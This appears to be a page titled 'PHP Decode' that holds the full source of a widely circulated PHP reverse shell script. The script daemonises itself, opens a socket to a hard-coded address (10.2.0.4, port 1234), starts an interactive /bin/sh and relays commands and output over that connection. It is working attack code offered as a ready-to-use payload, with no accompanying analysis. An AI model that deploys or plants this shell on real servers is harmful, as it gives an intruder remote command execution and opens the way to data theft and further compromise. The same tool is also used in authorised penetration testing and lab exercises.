PHP Decode

<?php 
// ----- 
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. 
 
set_time_limit (0); 
$VERSION = "1.0"; 
$ip = '10.2.0.4';  // CHANGE THIS 
$port = 1234;       // CHANGE THIS 
$chunk_size = 1400; 
$write_a = null; 
$error_a = null; 
$shell = 'uname -a; w; id; /bin/sh -i'; 
$daemon = 0; 
$debug = 0; 
 
// 
// Daemonise ourself if possible to avoid zombies later 
// 
 
// pcntl_fork is hardly ever available, but will allow us to daemonise 
// our php process and avoid zombies.  Worth a try... 
if (function_exists('pcntl_fork')) { 
        // Fork and have the parent process exit 
        $pid = pcntl_fork(); 
 
        if ($pid == -1) { 
                printit("ERROR: Can't fork"); 
                exit(1); 
        } 
 
        if ($pid) { 
                exit(0);  // Parent exits 
        } 
 
        // Make the current process a session leader 
        // Will only succeed if we forked 
        if (posix_setsid() == -1) { 
                printit("Error: Can't setsid()"); 
                exit(1); 
        } 
 
        $daemon = 1; 
} else { 
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); 
} 
 
// Change to a safe directory 
chdir("/"); 
 
// Remove any umask we inherited 
umask(0); 
 
// 
// Do the reverse shell... 
// 
 
// Open reverse connection 
$sock = fsockopen($ip, $port, $errno, $errstr, 30); 
if (!$sock) { 
        printit("$errstr ($errno)"); 
        exit(1); 
} 
 
// Spawn shell process 
$descriptorspec = array( 
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from 
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to 
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to 
); 
 
$process = proc_open($shell, $descriptorspec, $pipes); 
 
if (!is_resource($process)) { 
        printit("ERROR: Can't spawn shell"); 
        exit(1); 
} 
 
// Set everything to non-blocking 
// Reason: Occsionally reads will block, even though stream_select tells us they won't 
stream_set_blocking($pipes[0], 0); 
stream_set_blocking($pipes[1], 0); 
stream_set_blocking($pipes[2], 0); 
stream_set_blocking($sock, 0); 
 
printit("Successfully opened reverse shell to $ip:$port"); 
 
while (1) { 
        // Check for end of TCP connection 
        if (feof($sock)) { 
                printit("ERROR: Shell connection terminated"); 
                break; 
        } 
 
        // Check for end of STDOUT 
        if (feof($pipes[1])) { 
                printit("ERROR: Shell process terminated"); 
                break; 
        } 
 
        // Wait until a command is end down $sock, or some 
        // command output is available on STDOUT or STDERR 
        $read_a = array($sock, $pipes[1], $pipes[2]); 
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); 
 
        // If we can read from the TCP socket, send 
        // data to process's STDIN 
        if (in_array($sock, $read_a)) { 
                if ($debug) printit("SOCK READ"); 
                $input = fread($sock, $chunk_size); 
                if ($debug) printit("SOCK: $input"); 
                fwrite($pipes[0], $input); 
        } 
 
        // If we can read from the process's STDOUT 
        // send data down tcp connection 
        if (in_array($pipes[1], $read_a)) { 
                if ($debug) printit("STDOUT READ"); 
                $input = fread($pipes[1], $chunk_size); 
                if ($debug) printit("STDOUT: $input"); 
                fwrite($sock, $input); 
        } 
 
        // If we can read from the process's STDERR 
        // send data down tcp connection 
        if (in_array($pipes[2], $read_a)) { 
                if ($debug) printit("STDERR READ"); 
                $input = fread($pipes[2], $chunk_size); 
                if ($debug) printit("STDERR: $input"); 
                fwrite($sock, $input); 
        } 
} 
 
fclose($sock); 
fclose($pipes[0]); 
fclose($pipes[1]); 
fclose($pipes[2]); 
proc_close($process); 
 
// Like print, but does nothing if we've daemonised ourself 
//###{BASE16SUM2019}### 
// (I can't figure out how to redirect STDOUT like a proper daemon) 
function printit ($string) { 
        if (!$daemon) { 
                print "$string
"; 
        } 
} 
 
?>